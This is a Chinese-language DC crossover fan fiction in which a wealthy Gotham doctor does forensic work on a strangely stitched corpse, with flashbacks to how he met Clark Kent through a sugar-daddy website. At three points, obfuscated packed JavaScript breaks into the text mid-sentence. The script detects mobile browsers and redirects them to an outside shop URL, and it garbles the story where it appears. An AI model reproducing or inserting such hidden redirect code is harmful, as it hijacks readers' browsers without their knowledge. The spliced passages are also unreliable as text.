《[综英美]没有超英滤镜的我于哥谭艰难求生》 1. 埃德蒙·莫蒂默 埃德蒙·莫蒂默(Edmund Mortimer)将手插在风衣的口袋里,长舒一口气之后走出了诊室。在空气中飘浮着消毒水和橡胶的气味,与之同样浓郁,甚至比起这些更甚的味道叫做鲜血与死亡,不过绝大部分人早已习惯了这种气味。清洁工正将地面上的呕吐物清理干净,不久之后它们将会成为账单的一部分寄给病人。 在医院的停车场里停泊着医药代表的高级轿车,生命永远是最为一本万利的生意,埃德蒙也被请去打过几次高尔夫。他不喜欢掺合进这些事里,也不喜欢打高尔夫,所以高尔夫就变成了每个节日的礼物。考虑到家族里确实存在医药相关的产业,他不能和那些人划清界限,于是埃德蒙绕开了这些车。 他的车停在内部停车场的角落,是一辆暗红色的特斯拉,绝大部分的美国人更喜欢油车,发动机的轰鸣声和机械的操作感是绝对不可小觑的优秀之处,不过埃德蒙喜欢安静。他可以在庄园的停车场里安装专用的充电桩,也可以资助医院安装充电桩,对于一般人而言最大的阻碍在他这里反而变成了最小的问题。 不过他并没有坐上自己的车,只是给司机打了个电话,让司机来把车开回去。然后他从后门走出了哥谭总医院,保安对着他致敬,一辆黑色的别克正停在不远处,汽车并未熄火,仿佛正在等待着什么。在看到埃德蒙的同时,副驾驶的车门打开,一个警察下车,帮他拉开了后座的车门。埃德蒙对着他点了点头,然后坐进车里,一股混合着皮革、香水和钢铁的气味一下涌入了埃德蒙的鼻腔。 “辛苦您了,莫蒂默医生,”开车的那个警察按了一下车载广播的按钮,于是新闻也随之开始了播报,“在到现场之前,我先和您说一下目前警方调查的发现吧。” 埃德蒙看向窗外,初冬的寒风席卷着尚未完全凋落的树叶向着街道冲刷着,流浪汉在街道的两边踱步,地面上留下血迹。广播的主持人语气昂扬,所述说的也都是些激动人心的发言,关于骄傲月的游行,关于新电影的票房,关于不断上涨的GDP,关于我们生活在最好的时代。 死者是男性,身份不明,死因不明,尸体在半个小时之前被人发现,此时的他正卡在某个下水道的出口。如果是其他的城市,警察或许会说这里不适合出警,让发现尸体的人自己处理尸体,无论是售卖还是丢弃还是自己保存,但这里是哥谭——哥谭的警察并不比其他地方要负责,不过如果你是一个哥谭人,你就必须明白,要小心应对尸体,否则它或许会突然动起来。 几年之前还出过事,GCPD接到报案,下城区的贫民窟有人被“谋杀”,但当时的警察认为去贫民窟出警不安全,干脆没去。结果尸体被什么病毒感染了,跑到了钻石区,把钻石区的老爷太太们吓个半死,不过最后那个尸体被蝙蝠侠处理了。那个玩忽职守的警察失去了工作,五个月后死在了路边,GCPD的局长也得到了警告,因此在那之后他们应对尸体的时候更加用心。 这也是为什么他们在确定了尸体的基本情况之后会叫上埃德蒙。 埃德蒙并不是专职的法医,也不是验尸官。全美的法医数量本就不多,哥谭只有一个专职法医,在前不久又因为罹患心理疾病辞职去了相较而言更加正常的医院。验尸官倒是有三个,但一个卷入帮派混战里死了,一个精神失常在家修养,还有一个几乎时候外行人……不过考虑到在其他州或者城市,警察局也会请医院的医生们兼职法医,埃德蒙正是那个兼职。 另外,在GCPD里也流传着“让莫蒂默医生验尸,尸体不会突然坐起来”的传说——能让死人死个彻底,在哥谭算是极为稀有的情况。 埃德蒙姑且知道一点GCPD的警察把自己当做“被神眷顾的人”,还把自己的照片当做护身符偷偷藏着防止遇到什么超自然事件的事情,他对此实在没啥能说的。用一种迷信去对抗另一种迷信简直属于人类的本能,他只能感慨万幸的是没人真觉得他可以用来辟邪。 汽车停在了狭窄的街道上,那里已经有了两辆警车,警戒线被拉起,不过绝大部分警察都站在警戒线外聊天或者玩手机。埃德蒙没有下车就能听到TikTok上常用的罐头笑声的音效不断回荡,在下车以后这种声音更是大到了无法忽略的地步。不过在看到埃德蒙的时候,不少人还是悄悄关闭了手机,他们可以不尊重埃德蒙,但他们不敢冒犯莫蒂默家族。 埃德蒙将风衣丢在车里,做好了防护措施,虽然具体的验尸还得去警察局的验尸房,但埃德蒙本人并不信任GCPD的痕检,他们连拍照片都会有重影。他跟在一个警察的后面走到了下水道口,一种口罩都无法隔绝的气味向着他涌来,对于动物来说,同类尸体的气味是最让它们不安的,对于人类也是一样,即使是哥谭的警察也有不少人不适应这种气味。 埃德蒙属于可以适应的那种,他已经很久没有呕吐过了,这是习惯,也是麻木。他看到那具尸体,它安静地趴在地上,脸部和手指已经被老鼠和蟑螂咬坏,身上还有少量白色的蛆在蠕动。 死者曾经是流浪汉的可能性很大,他是一个黑人,穿着一身破烂的衣服。这种破烂并不是死后浸泡在下水道的污水里带来的破烂,更不要说裤子的膝盖已经磨得发光。埃德蒙走过去,尸体并没有动起来,理所当然,然而在埃德蒙的视野里看到的并不是这样。他明明白白地可以看到对这具尸体的评价——被OOOO感染,复苏为行尸倒计时3小时21分。 于是埃德蒙走过去,他将尸体翻了个面,倒计时消失了,一同消失的还有感染的痕迹。这具尸体大抵是不会突然跳起来杀人了,这是目前最好的消息。 “死者男性,年龄在30至35岁之间,曾经生活优渥,”埃德蒙掰开尸体的嘴查看,牙齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048795|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能够显示许多,死者的牙齿磨损程度和龋齿程度都不严重,还有洗牙和牙齿美白的痕迹,“之前做的应该不是重体力劳动,或许有在健身,不过看样子也流浪了一段时间。没有用药痕迹,挺少见的。因为泡水无法准确推定死亡时间,不过至少超过24小时。” 埃德蒙身边负责记录的警察一边奋笔疾书,一边时不时发出干呕,哥谭的警察们经常见到尸体,但有些尸体无论看到多少次都会让人无法习惯。埃德蒙看了他一眼,然后站起身来:“看不到明显的外伤,很难确定死因,最好还是带回去解剖检查……联系一下局长,另外,这具尸体出现的地方不对劲。” 警察愣了一下,不过很快他就明白了埃德蒙的意思,这个下水道的出口早已变成了某些化工厂专用的排污口,为了防止雨水倒灌导致污水排放受到影响,里面的路线也被改变了,一般流浪汉的尸体不会被冲到这条路上。而哥谭化工厂的成分只能说懂得都懂,搞化学的容易变成超级反派也是理所当然。 “这么麻烦干什么,”埃德蒙听到有人小声嘟囔,“反正之后大概也是不能查下去了。” 埃德蒙不怪他们说这种丧气的话,这就是哥谭常见的情况,绝大部分案件在调查进展到一半的时候就会有人要求别继续查下去,运气好的时候能拿到一点什么补贴,运气差的时候会被骂两句,甚至会被威胁,不想丢工作或者丢命的话就别继续查下去,就赶紧闭嘴。哥谭人总得选择自己保护好自己,这是没办法的事情。 但埃德蒙本人更习惯在不能查下去之前尽力调查,家里人其实还挺支持他的,不过埃德蒙觉得这是因为他们希望搞到其他人的把柄。或许这也是为什么他们没有拦着埃德蒙和尸体打交道,法医可不是什么能让传承数百年的莫蒂默家族感到体面的工作。哪怕埃德蒙并不是那个要继承家业的长子。 他坐回了车里,他的大哥发来了信息,问他是不是遇到了什么案件。原则上在案件并未破获的时候,所有人都应该对案件保密,但那也只是原则上的事情。埃德蒙告诉他的大哥关于尸体的事情,于是他的大哥表示理解,并且让他今天最好不要回家。莫蒂默庄园今天举办了一个晚宴,埃德蒙解剖完尸体的时候,身上总是会留着气味,不适合加入晚宴。 “谢谢。”埃德蒙回复了信息,他也松了口气,这代表他有正当的理由不参加莫蒂默庄园的晚宴,他本来也不喜欢这些,他觉得那很……恶心。然后他点开了另一个对话框,敲击着手机屏幕发送了信息:“我今天不回家,你要来吗?” “我要加班,”很快他的信息就变成了已读,另一个人回复了信息,“不用等我了。” 大概过了半分钟,他又回复:“哦对了。” 在发完这条信息之后,十多张照片发送了过来,一瞬间刷满了埃德蒙的手机屏幕,埃德蒙吓得一下把手机熄屏了。 2. 被包养的记者 一次性发来那么多不能在公共场合打开的照片的人,是埃德蒙的“Sugar baby”。 花钱包养sugar baby这种事对于他们来说并不算少见,甚至不能算道德败坏。在联邦中有许多面朝大学生的网站,让他们可以和有钱人联系,以此完成学业水平或者获取一些生活费。许多演员或者明星也需要依靠被有钱人包养生活,换取更多的资源。在这个世界上万事万物都有自己的价格,人们只会嘲笑那些“坚持原则”最后死在街边的穷鬼。 而埃德蒙,作为莫蒂默家族的末子,衣服上的一颗袖扣就足以在大都会买下黄金地带的一栋楼,他的唯一不良嗜好就是包养了一个sugar baby——只有一个,是成年男性,迄今为止已经过去了近十年对方还没有被甩。在他们圈子里,甚至不只是他们的圈子,埃德蒙都算是洁身自好的,甚至于也有些人嘲笑过埃德蒙。当然,嘲笑埃德蒙的人最后受到了惩罚。 被埃德蒙包养的人目前就职于星球日报,是一名记者,前不久他刚出版了自己的小说。小说描写了一个出身于堪萨斯乡下的男孩如何步入城市,感受到社会经济制度对朴素的人类情感和道德产生的冲击。不少评论家都为这本小说撰写了评论,有学者称这本书将很有可能拿到今年的普利策小说奖。 不过记者本人对埃德蒙把自己的小说寄给评论家,还随书奉上一封言辞恳切的信件这样的行为有些不满,他更希望自己的书以诚挚的情感和精妙的文笔打动别人,而不是“莫蒂默少爷让你们看完这本书写个读后感”。埃德蒙不会对他的想法有任何负面评价,但他还是不得不告诉记者,没有他的这封信,这本书根本不可能被看到。 记者自己也知道这一点,只是还是闹了一段时间的脾气,具体表现为不停给埃德蒙发照片,但是一次都不来埃德蒙的私人公寓,埃德蒙也随便,反正钱照样打过去,他自己照样忙着工作,忙着和尸体待在一起。 这看起来并不像是什么传统的包养,至少埃德蒙也见过自己的哥哥姐姐包养的人,他们总是想尽一切办法维持自己金主的兴趣,防止自己被淘汰,被新人取代,但是这对埃德蒙来说也是一种很舒服的相处方式。他不喜欢被人谄媚地看着,也不习惯被人事无巨细地照顾,这种若即若离的感觉刚好,就像是家里养了一只猫,猫开心的时候过来蹭一下。 尸体比埃德蒙先到验尸房,毕竟给埃德蒙开车的警察还要注意让埃德蒙在车里坐得舒服。在埃德蒙更换防护服的时候,他的验尸助手——两个哥谭大学的研究生已经帮他把尸体里的液体和气体排了出来。他走进门,面目全非的死者正躺在水泥的手术台上,灯光照射下来,像是一只俯瞰的眼睛。 就像是埃德蒙在初期检查的时候说的那样,死者确实曾经有过一段优渥的生活,即使流浪,死者也没有陷入过量用药的窘境。他的身体相对而言还比较健康,内脏器官无明显病变。这种人在哥谭并不算多,甚至可以说他是一个十分珍贵的个体,然后一个洁身自好的人落在了埃德蒙的手里。 这种事情并不少见,埃德蒙见到的尸体也不完全是帮派成员或者病人的,在哥谭也会有人希望过上更好的生活,只是他们的结局一般都是向着更深的谷底俯冲,最后到了埃德蒙,或者到了帮派的收尸人的手里。能够到埃德蒙的手上甚至是一种幸运,至少埃德蒙能保证他们的尸体不变成工艺品,在研究结束之后还能被正常火化。 “突发脑梗……”埃德蒙叹了口气,他大概确定了这个人的死因,只是运气不好而已,这就是解剖的结果,这个世界上运气不好的人很多,也不差这一个了。死者在哥谭的污水当中浸泡了许久,许多原本健康的器官失去了保存的价值,而有哥谭污水毒素的尸体在哥谭很常见,医院已经懒得研究了,要看的只有骨头。他割开筋膜,在看到脊骨的时候愣了一下。 不对劲,一种近乎毛骨悚然的感觉在埃德蒙的后背弥漫开来,这具尸体不对劲。 在L1,也就是第一节腰椎骨上有着明显的,被整个切开的痕迹,上下两节骨骼的颜色并不能完全对上,甚至连大小也不能完全合拢,就像是被人拼接起来的一样。埃德蒙愣了一下,他伸手去掰了一下那块断骨,咔哒一声,骨头就错位开来,好像是用力去掰两块按在一起的乐高。他命令验尸助手将细胞、残留的血液和骨髓取样检查DNA,并且要求GCPD将尸体暂时冷冻储存起来。 把尸体拼接起来在哥谭并不少见,或者把活人拼接和移植也是,有些人还会拼人和动物。但是,无论手术水平再怎么好,他们还是得遵守基本的生物规律,比如说注意排异反应,比如说身上总是会留下伤疤的,这具尸体上却没有被拼接的伤疤,甚至就连那块脊骨,如果不是因为大小对不上才有了被切开的痕迹,埃德蒙也发现不了这一点。 再考虑到刚才金手指说的,要复活的尸体只有一具(要是有两个就会有两个倒计时,埃德蒙的金手指在这种时候还是非常非常严谨的),埃德蒙不得不考虑是不是又出现了什么具有超能力的反派,而这个反派的能力和拼接尸体有关。更不要说在检查之后可以发现这个伤口已经非常陈旧了,而人很明显是在48小时之内死的。 验尸助手没有多问什么,在哥谭就是要有这样的觉悟,要是你掺合进别人——哪怕这个别人是你的导师——的事情太深,那他在发神经的时候必然会把你连带进去。埃德蒙也可以感觉到他们隐藏起来的好奇,好奇心是很正常的,区别只在于是否肆无忌惮的展现自己的好奇,有些人就是这么死的。 在验尸报告里埃德蒙并没有写拼接尸体的事情,不过他对家族没有隐瞒,从某种角度上来说,这也是为什么家族,尤其是他的哥哥雨果·莫蒂默允许他在哥谭和尸体打交道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048796|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃德蒙打了个电话,他的司机立刻驱车到了警察局的门口,他上车,然后汽车开向了他的私人公寓——说是公寓,但其实那是一幢三层楼高的别墅,有着宽阔的草坪。在同一个社区里居住着知名的工程师和演员,因此安全有着切实的保障,住在他的对门的是另一位哥谭总医院的主任医师。 他在浴缸里放满了热水,然后丢进一个柠檬味道的浴球,哪怕有着防护服,他的身上依然会沾染尸体的气味。那不是单纯的臭味,而是一种会令人感到本能的不安的气息,动物会因为同类的死感到恐惧,这是天生的,而克制需要后天习得。等到浴球完全溶解在水里,他才脱掉衣服,把自己浸下去。 他拿出手机,看着里面的照片。 记者,克拉克·肯特是在自己家里拍摄这些照片的,所以才可以格外肆无忌惮。他将手机的镜头对准自己的大腿,衬衫夹的腿环将肌肉丰满的腿上箍出明显的凹凸。克拉克的脸上带着一种近乎狡黠的笑容,用手按在胸口,但是柔软的肉和脂肪依旧从手指的缝隙溢出来。他分开双腿,用鸭子坐的姿势坐在浅蓝色的床单上,在自己的小腹比V…… 埃德蒙眼神温和地看着照片里克拉克鲜活的身体,他的工作决定了他很少能看到健康的活人的身躯。在医院的时候,他面对的病人一般都是需要器官移植的重病患,而在GCPD他见到的就是尸体了。克拉克活着,这一点对他来说就已经是无价之宝了。他想了想,又点开了星球日报的官方推特,在里面翻看克拉克的照片。 在星球日报的员工之中,克拉克依然是那个最闪闪发光的人,他挺胸抬头,穿着藏青色的精纺羊毛西装。西装是埃德蒙让裁缝到家专门定制的,其实埃德蒙不是很能分辨不同品牌的好坏,所以他就联系了家里常用的裁缝。克拉克为此僵硬了好一阵子,不过最后还是穿上了新衣服。 因为克拉克的身材比较独特,裁缝还专门定做了一个人台,埃德蒙每个季度都会让人把新品的单子给克拉克,让克拉克自己挑选,克拉克则每一次都会挑选更加经典和素雅的款式。 埃德蒙翻看了几张照片,然后说:“我记得雨果给我送了一块手表?” 原本空旷的浴室里突然响起了第二个人的声音:“是的,埃德蒙老爷。” 埃德蒙对此毫不在意,或者说他已经习惯了一直有人跟在自己的身边。这是莫蒂默家族的护卫,并没有经过“利爪”的改造,因为埃德蒙不喜欢利爪,他觉得利爪太冷冰冰了。但这不代表他们的能力比起利爪多么逊色,只能说各有所长。 埃德蒙把手机放在一边,用手捧着水玩了会儿:“你把手表给克拉克送去。” 埃德蒙的护卫没有说什么,只是又一次消失在了埃德蒙的视野里,他的护卫不止一个,就算有一个暂时离开也不会发生什么。他看着洇开的雾气,头顶的灯光就像是手术室一样。 3. 糖爹 克拉克将双手离开键盘,电脑屏幕上密密麻麻的文字编织成一张柔软的网。他伸了个懒腰,听到自己的骨节发出细微的响声——他其实完全不需要这么做,他哪怕再打一天一夜的字也不会真的腰椎间盘突出,但他已经习惯了这么做。 他在放松时会在网上看动物视频,被人类养大的熊猫在折断竹子的时候会龇牙咧嘴,哪怕竹子能被它轻松折断。有时候熊猫掰断竹子的同时忘记了龇牙,它还会在之后补上一个表情,克拉克觉得自己现在大概就和那只熊猫处在差不多的状态。 他把稿件传给主编佩里,佩里很快接收了文件,他也因此松了口气。天色已晚,对面的联排别墅早已亮起灯来,灯光照射进他的家中。克拉克站起身来走到窗边,他看着窗外草坪上的陶瓷地精。他的邻居几乎都是知名的大学教授或者记者前辈,在克拉克搬进这个社区的时候大家都对克拉克这个年轻人表示了欢迎。 在刚走出堪萨斯的时候,克拉克无论如何也想不到自己会过上这样的生活。 克拉克来自于堪萨斯乡下的小镇斯莫威尔,他的父母经营着一家规模不大的农场,家里的经济状况算不上特别拮据,但也并不富裕。不过无论是玛莎还是乔纳森,都有着一种清教徒一般的自持,也有着许多美国人已然失去的储蓄意识,因此在克拉克看来,他们的生活非常美好。 玛莎和乔纳森都宠溺着克拉克,有时候甚至让人担心他们会把克拉克宠坏,他们允许了克拉克去大都会读大学,而不是高中毕业之后直接回到农场工作。克拉克的大学学费掏空了他们好不容易攒下的积蓄,还让克拉克欠下了一大笔的学贷,不过他们的日子还能过下去,克拉克也相信自己毕业之后可以找到一个不错的工作。 然而天有不测风云,克拉克大二的时候,乔纳森在进城购买化肥的路上出了车祸,虽然侥幸保住了性命,但受伤外加急诊的医药费又给他们的农场增添了一笔沉重的负担。更不要说在养伤期间乔纳森需要补充营养,还不能进行重体力劳动,虽然克拉克想办法回来帮忙,但他们的农场还是一度到了被拍卖的边缘。 当然,克拉克可以搞到钻石,甚至搞到一些世间罕有的贵金属,但出手是问题。珠宝回收商根本不会回收钻石,黄金、白银和铂金会被大量压价,还容易引起IRS甚至是FBI的注意。目前克拉克最不希望的就是被官方组织注意。克拉克为此绞尽脑汁,甚至快要崩溃的时候,他的同学给他出了个主意。 “你可以找个人包养你,”那个同学说,他的语气带着一种漫不经心,“你知道的,找个有钱人,然后让他给你钱,大家都是这么做的。” 斯莫威尔的纯情乡下男孩收到了同学发来的网页链接,然后大惊失色——他没想到这居然是真的。这个网站被戏称为“糖爹网”,美国教育部官方认证过,克拉克在网站里看到了不少名人的联系电话,大家似乎都很愿意给大学生提供上学的或者吃饭的钱,高中生也行,只要他们愿意出卖自己的身体。 他翻阅了半天这个网站,在网站的注册会员里找到了许多自己的同学,当然还有各种常春藤名校的学生或者演员名流。Suger baby的数量是Suger daddy和Suger mummy的七倍以上,这是供需关系的不平衡,克拉克想,他差点因为自己突如其来的经济学想法笑出声来。 在终于冷静下来之后,克拉克觉得这一切都太诡异了,他来到了大城市,当上了大学生,然后同学告诉他大家都在为了吃饱饭和有钱人上床。但这个时候找一个糖爹是克拉克最好的选择,克拉克不用担心会在这段关系中受伤,他只要降低底线,然后拿钱。一次两千多美元,这是许多人一个月的工资。 他的同学还好心地告诉了他一些人可能有的怪癖,克拉克听着都觉得想吐,然后他在那些有钱人当中挑选,最后选中了埃德蒙·莫蒂默,莫蒂默家族的末子。不过那时候克拉克还不知道埃德蒙究竟有钱到了什么程度,只知道他看起来年轻漂亮,怎么说也不容易让自己反感。 按照网站上的说明和要求,他拍摄了自己的全身照——当然,正经地穿着衣服,克拉克知道这可能让他无法通过自己的“面试”,但是堕落至此对于克拉克而言也算到了极限——并且填写了身体健康的表格,将这一切发给了那个邮箱。在等待的过程中他拿起手机,好几次想和玛莎或者乔纳森打电话。嘿爸妈,你知道吗,你们的孩子要在大城市里卖身了,和同学一起。 很快他收到了回信,邮件措辞温和,约他在一家酒店里见面,克拉克打开谷歌地图搜到了这家饭店,然后倒吸一口凉气。这家酒店位于大都会的上城区,最寸土寸金的地方,克拉克曾经只能远望这家酒店,他觉得说不定酒店的柱子上门都涂了黄金。但很快问题就来了,他根本去不了那个地方,他带着羞赧地发邮件承认了这一点,然后对方回复说会派人来接克拉克。 克拉克想跑了,他想干脆毁约不去了,但他很好奇这家酒店,也很好奇酒店的饭菜,所以他说好。然后克拉克穿上了自己最好的衣服,借了同学的发胶整理了头发,在约定的时间等在校门口。他看到了一辆林肯领航员,司机下车问他是不是“肯特先生”,克拉克觉得司机的手套都比他的衣服更贵。他红着脸上车,坐在后座上吞咽了一口唾沫。 是社会实践,他对自己说,是取材,他要知道有钱人到底是怎么想的。 他在车上没听到什么噪声,或许是因为这辆车的隔音做得近乎完美,汽车行驶在之前克拉克从未注意过的道路上,道路平整流畅,还有明亮的路灯,街边也没有流浪汉。司机似乎看出了他的紧张,打开了一点窗户,克拉克闻到没有异味的新鲜空气,他在一瞬间感觉到了震撼。 然后汽车开进了停车场,穿着华丽的门童来迎接他们,克拉克更是觉得自己像是被丢进鸽子群的公鸡,他可以感觉到好奇的眼神正落在他的身上,好像在思考为什么一个穷苦成这样的人还会出现在这家店里。但来都来了,他也不能就这样落荒而逃,于是他跟着司机走向其中一个包间。他可以闻到酒店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048797|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的各种气息,香气近乎糜乱地涌入他的鼻腔。 包间反倒给人一种淡雅的感觉,这也让克拉克稍稍放松了一些——虽然他很快就反应过来,椅子上的坐垫用的金线是纯金而不是塑料,墙上挂的画也是莫奈的真迹。正坐在沙发上看书的人对着克拉克微微抬眼,不需要过多的说明,克拉克就能认出这个人是埃德蒙·莫蒂默。 青年看起来比照片上的更加俊美,只可惜身上带着一种淡淡的阴郁气质,眼下还有明显的黑眼圈。他站起身来,走过去和克拉克握手,克拉克看到他左手的小指上有一枚镶嵌着蓝宝石的戒指,还戴着腕表。腕表的牌子克拉克在教授那里见过,他的教授有一块同样品牌的腕表,但只在宴会或者学术论坛等场合戴着,因为舍不得。埃德蒙的手表应该更贵,但埃德蒙戴着它的样子非常随意。 “埃德蒙·莫蒂默,你就是肯特先生,对吗?”埃德蒙说,“请坐,要吃点什么?” 克拉克看到了菜单,在菜单上没写价格,要是克拉克在其他店里看到这种菜单,他绝对会转身就走——连要多少钱都不直说,这不是明摆着要骗钱吗?不过现在是有钱人请客,他小心翼翼地坐在另一个沙发上,然后点菜,他不知道该点什么,所以就点了一份煎牛肉。埃德蒙看了他一眼,对服务员说了十多个菜名,克拉克一时间都有些记不住。 “我看到你的邮件里说的,”服务员离开了包厢,现在包厢里只有埃德蒙和克拉克两个人,克拉克知道有人在房顶隐藏,但和埃德蒙明面上独处这件事还是让他紧张的要死,“你的学贷和你父亲的病对你们家造成了严重的负担,所以你需要钱,对吗?” “是的,先生,”克拉克说,他也不知道自己为什么要那么拘谨,或许是因为钱,他现在见识到资本主义的可怕之处了,钱能让一个坦坦荡荡的人变得束手束脚,“我很抱歉,我只是……” “不用叫我先生,叫我埃德蒙就可以了,”埃德蒙说,他并没有伸手去碰克拉克,“或许我还比你小些。我今年18岁,你呢?” 一瞬间克拉克觉得自己要气炸了,不是生埃德蒙的气,也不是生自己的气,他不知道自己该对谁生气,所以更觉得自己气炸了。18岁,他还在读斯莫威尔的高中,现在21岁的他在为了钱而出卖身体(虽然还没卖出去),而18岁的有钱人却陷入了虚无主义的深渊,在拿钱买一夜之欢。 然后他对着埃德蒙说教,告诉埃德蒙钱不能买来一切,埃德蒙应该对生活更有信心,以后可以和爱的人交往。埃德蒙一直都在听着克拉克说话,那双翡翠绿的眼睛看着克拉克,这也给了克拉克继续说教的动力。在他讲到金钱对人的异化的时候服务员开始上菜,克拉克才终于理解到自己刚才做了什么。 他恨不得找个地缝钻下去。 “呃,抱歉,我想我该走了。”他拿上自己的大衣想跑,却又被埃德蒙拦住。青年……不,少年小心的将手放在他的小臂上,说:“吃完饭再走。” 于是克拉克又坐下了,哦对,吃完饭再走。 4. 交易关系 虽然克拉克已经做好了心理准备,但他还是被精致的餐具震慑了一下。 黄金、白银和细瓷的器皿盛放着精美的食物,装饰甚至大过内容本身。克拉克点的煎牛肉只有很小的一点,大概在300克左右,但是浓郁的香味昭示着食材本身的优秀品质。克拉克拿着刀叉切开牛肉,肌红蛋白的颜色格外鲜艳。他在埃德蒙的注视之下吃掉了牛肉,埃德蒙又将另一盘白芦笋推到克拉克的面前,克拉克又吃掉了。 克拉克觉得自己好像是在给埃德蒙当吃播,只不过吃的并不是什么便宜大份的东西,他估摸着一个盘子里的菜比他一个月的生活费还贵,然而在他还需要进食的时候,十个盘子里的食物加起来都没法让他吃饱。很快的,克拉克理解了为什么埃德蒙要点那么多菜,因为埃德蒙担心他吃不饱,他的体格还挺大的。 想到这里,克拉克有点脸红。他抬眼看着埃德蒙,年轻的富豪正一边盯着他的脸一边吃着一块蛋糕,似乎只能从克拉克的吃相中找到进食的乐趣。一瞬间克拉克觉得埃德蒙还有点可怜,小小年纪就陷入了虚无主义,微妙的厌食,除了金钱之外对其他东西缺乏信任,认为钱可以买来一切。 但同样的,埃德蒙不像是个坏人,至少直到现在埃德蒙除了和克拉克握手,还有拦着克拉克,让克拉克留下来吃饭之外没有和克拉克有过任何肢体接触。这些食物非常安全,也非常美味,埃德蒙并没有贪图克拉克的美貌做出什么糟糕的事情。虽然克拉克不觉得自己应该向一个18岁的年轻男孩卖身——他可以去找别的赚钱的路子——至少他今天过得还是很愉快的。 “谢谢,”在克拉克吃完了最后一盘甜点,而埃德蒙也终于吃完了那一块蛋糕之后,克拉克开口了,“嗯……我很抱歉。” 埃德蒙看着克拉克,给克拉克递过去一杯柠檬水,柠檬水被装在紫水晶的杯子里,克拉克拒绝思考这到底要多少钱。他喝了一口柠檬水,然后继续说:“我确实很缺钱,所以我才在冲动之下注册了那个网站的会员,我也很感激你愿意和我见面,然后吃这顿饭……但我觉得这样不好。不是说你不好,埃德蒙,而是说……为了钱,出卖自己的□□,这件事不好。” 埃德蒙静静听着克拉克说话,他并没有露出嘲笑的表情,克拉克觉得自己的声音正在被认真聆听,这也让他松了口气。他很担心埃德蒙嘲笑他,说什么“你不是来卖的嘛,卖到一半变成蹭饭了”之类的话,不过看起来埃德蒙并不是那种刻薄的人。 “你也是一样,你非常年轻,容貌英俊,而且很有钱,你的前途非常光明,你可以给这个世界带来更好的东西……我知道,有时候人会觉得孤单,但世界上一定会有一个人不需要金钱的交易就能深深地爱上你。你会感觉到灵魂的共鸣。但是现在,依靠金钱购买爱情,只会让灵魂的通道关闭,在你遇到那个属于你的人的时候,他或者她会因为你的过去伤心……” “更糟糕的是,你会无法体会到真挚的爱,而将一切都视为金钱关系……你只会感觉更加的空虚。当然,你也可以认为我是在说教,但我真的……我很感激你,埃德蒙先生,你是一个善良的人。” 埃德蒙点了点头,他对克拉克稍微微笑了一下:“谢谢,肯特先生。” 克拉克也对他微笑,虽然克拉克现在心里满是苦涩,他不知道自己该去做什么,他也不能像是他的同学那样卖血。或许他可以去码头扛包,或者代写论文,或者帮忙算账,但要依靠这些攒够他需要的钱可谓杯水车薪。或者他可以去哥谭的黑市卖贵金属,希望帮派不要为此盯上他的家人。 送克拉克回到学校的依然是之前的司机,克拉克下车之后对他说了谢谢,而司机给克拉克递过去了一个盒子。克拉克愣了一下,接过了那个盒子,他认出这是什么高档点心的包装盒,他没吃过,不过他见过别人拿这个给教授送礼,教授的脸上堆满了笑容。“埃德蒙老爷给你的,先生。”司机说,在克拉克说什么之前鞠躬,然后离开了。 克拉克觉得非常遗憾,如果可以的话,他确实很想和埃德蒙成为朋友,但他们之间相差太多了——不是说克拉克觉得自己不如埃德蒙的那种相差,而是他们的人生几乎是两条平行线。克拉克带着点心回到了自己租住的公寓,他和五个人住在一起,平摊房租。现在大家都在自己的房间里,因此没人问克拉克点心的事情。 克拉克拿出一块放进嘴里,浓郁的抹茶香味盈满了他的口腔,饼干并不算甜,但非常好吃。 他又叹了口气,对着电脑上列出的账单发愁。 突然,他的手机震动了一下,克拉克拿出手机点开邮件,发现邮件是银行发来的,他皱着眉头耐心读完,然后被吓得从椅子上飘了起来。他收到了汇款,汇款来自于一个陌生的账户,对方给他汇款了三万美元。克拉克第一时间认为这是有人拿类似银行账号的邮箱对他整蛊,但在登录网站查询余额之后,克拉克发现自己的账户真的多了三万美元。 克拉克愣住了,然后他拿出手机给埃德蒙发邮件,埃德蒙迅速回复了他的邮件。 “肯特先生,您好,关于今天的事情,我想在邮件里解释或许更好。我并没有包养别人的想法,这是其他家族的同龄人为了和我开玩笑,把我的信息放进了网站里。现在我已经注销了网站的会员。另外,我很感谢您今天愿意与我会面,并对我说出了那样诚挚的话语。希望这些钱可以帮到您,请不要有心理负担,对我而言,您的话语比金钱更有价值。” “另外,我希望可以和您进行长期的沟通,随邮件附上我的WhatsApp?账号。祝您身体健康,也祝愿您的父亲早日康复。” “您的,埃德蒙·莫蒂默。” 